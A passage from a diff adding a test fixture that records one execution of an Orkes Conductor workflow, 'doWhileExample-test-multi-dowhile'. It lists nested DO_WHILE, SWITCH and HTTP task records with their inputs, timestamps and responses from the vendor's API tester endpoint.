name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_five__10", + retryCount: 0, + seq: 26, + pollCount: 1, + taskDefName: "http_five", + scheduledTime: 1711471926559, + startTime: 1711471926628, + endTime: 1711471926638, + updateTime: 1711471926628, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2dc2d153-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:06 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4135, + hostName: "orkes-api-sampler-67dfc8cf58-ktrql", + randomString: "wcbjbqpgrjidquahiihm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 69, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_last_ref", + retryCount: 0, + seq: 27, + pollCount: 1, + taskDefName: "http_last", + scheduledTime: 1711471926651, + startTime: 1711471926738, + endTime: 1711471926749, + updateTime: 1711471926738, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2dd0b404-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Tue, 26 Mar 2024 16:52:06 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 316, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "nqfvddyhiefplxkfpvce", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_last", + taskReferenceName: "http_last_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 87, + loopOverTask: false, + taskDefinition: null, + }, + { + taskType: "DO_WHILE", + status: "COMPLETED", + inputData: { + number: "8", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "do_while_ref_1", + retryCount: 0, + seq: 28, + pollCount: 0, + taskDefName: "do_while_1", + scheduledTime: 1711471926757, + startTime: 1711471926757, + endTime: 1711471927646, + updateTime: 1711471927554, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2de09285-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + 1: { + http_new_dowhile_one_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:06 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8059, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "ffjecsjmhafljzlfmomh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref_1: { + evaluationResult: ["4"], + selectedCase: "4", + }, + }, + 2: { + http_new_dowhile_two_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Tue, 26 Mar 2024 16:52:06 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 840, + hostName: "orkes-api-sampler-67dfc8cf58-mzb8h", + randomString: "qdxthpirsqnhyylytlwp", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref_1: { + evaluationResult: ["2"], + selectedCase: "2", + }, + }, + 3: { + http_new_dowhile_two_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:07 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5889, + hostName: "orkes-api-sampler-67dfc8cf58-sts78", + randomString: "vqqjoysaxxifvnzsrgdf", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref_1: { + evaluationResult: ["2"], + selectedCase: "2", + }, + }, + 4: { + http_new_dowhile_one_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:07 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3285, + hostName: "orkes-api-sampler-67dfc8cf58-7l8kb", + randomString: "omiwzhgmfgecamejmqnw", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + }, + 5: { + http_new_dowhile_one_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Tue, 26 Mar 2024 16:52:07 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 379, + hostName: "orkes-api-sampler-67dfc8cf58-jk6kd", + randomString: "vqbajywpvhuofzyaqukp", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref_1: { + evaluationResult: ["4"], + selectedCase: "4", + }, + }, + 6: { + http_new_dowhile_one_ref: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:07 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2130, + hostName: "orkes-api-sampler-67dfc8cf58-dcsmz", + randomString: "luiyzqmpzmqcyfrwaxht", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + }, + 7: { + http_ref_1: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:07 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9020, + hostName: "orkes-api-sampler-67dfc8cf58-xsh5s", + randomString: "hdnsxoswwdzjhqrzpegq", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref_1: { + evaluationResult: ["3"], + selectedCase: "3", + }, + }, + 8: { + http_ref_1: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:07 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6546, + hostName: "orkes-api-sampler-67dfc8cf58-ktrql", + randomString: "tunauwsfdcbqgktnoayp", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + switch_ref_1: { + evaluationResult: ["3"], + selectedCase: "3", + }, + }, + iteration: 8, + }, + workflowTask: { + name: "do_while_1", + taskReferenceName: "do_while_ref_1", + inputParameters: { + number: "8", + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(function () {\nif ($.do_while_ref_1['iteration'] < $.number) {\nreturn true;\n}\nreturn false;\n})();", + loopOver: [ + { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_new_dowhile_two", + taskReferenceName: "http_new_dowhile_two_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_new_dowhile_one", + taskReferenceName: "http_new_dowhile_one_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + ], + evaluatorType: "graaljs", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: "", + _createdBy: "najeeb.thangal@orkes.io", + case: "4", + }, + referenceTaskName: "switch_ref_1__1", + retryCount: 0, + seq: 29, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471926772, + startTime: 1711471926772, + endTime: 1711471926772, + updateTime: 1711471926772, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2de12ec6-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["4"], + selectedCase: "4", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_new_dowhile_two", + taskReferenceName: "http_new_dowhile_two_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_new_dowhile_one", + taskReferenceName: "http_new_dowhile_one_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_new_dowhile_one_ref__1", + retryCount: 0, + seq: 30, + pollCount: 1, + taskDefName: "http_new_dowhile_one", + scheduledTime: 1711471926767, + startTime: 1711471926849, + endTime: 1711471926861, + updateTime: 1711471926849, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2de28e57-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:06 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8059, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "ffjecsjmhafljzlfmomh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_new_dowhile_one", + taskReferenceName: "http_new_dowhile_one_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 82, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: "", + _createdBy: "najeeb.thangal@orkes.io", + case: "2", + }, + referenceTaskName: "switch_ref_1__2", + retryCount: 0, + seq: 31, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471926883, + startTime: 1711471926883, + endTime: 1711471926883, + updateTime: 1711471926883, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2df293e8-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["2"], + selectedCase: "2", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_new_dowhile_two", + taskReferenceName: "http_new_dowhile_two_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_new_dowhile_one", + taskReferenceName: "http_new_dowhile_one_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_new_dowhile_two_ref__2", + retryCount: 0, + seq: 32, + pollCount: 1, + taskDefName: "http_new_dowhile_two", + scheduledTime: 1711471926879, + startTime: 1711471926958, + endTime: 1711471926969, + updateTime: 1711471926958, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2df3a559-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Tue, 26 Mar 2024 16:52:06 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 840, + hostName: "orkes-api-sampler-67dfc8cf58-mzb8h", + randomString: "qdxthpirsqnhyylytlwp", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_new_dowhile_two", + taskReferenceName: "http_new_dowhile_two_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 79, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: "", + _createdBy: "najeeb.thangal@orkes.io", + case: "2", + }, + referenceTaskName: "switch_ref_1__3", + retryCount: 0, + seq: 33, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471926990, + startTime: 1711471926990, + endTime: 1711471926990, + updateTime: 1711471926990, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2e02e79a-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["2"], + selectedCase: "2", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_new_dowhile_two", + taskReferenceName: "http_new_dowhile_two_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_new_dowhile_one", + taskReferenceName: "http_new_dowhile_one_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_new_dowhile_two_ref__3", + retryCount: 0, + seq: 34, + pollCount: 1, + taskDefName: "http_new_dowhile_two", + scheduledTime: 1711471926986, + startTime: 1711471927070, + endTime: 1711471927079, + updateTime: 1711471927070, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2e03f90b-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:07 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5889, + hostName: "orkes-api-sampler-67dfc8cf58-sts78", + randomString: "vqqjoysaxxifvnzsrgdf", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_new_dowhile_two", + taskReferenceName: "http_new_dowhile_two_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + 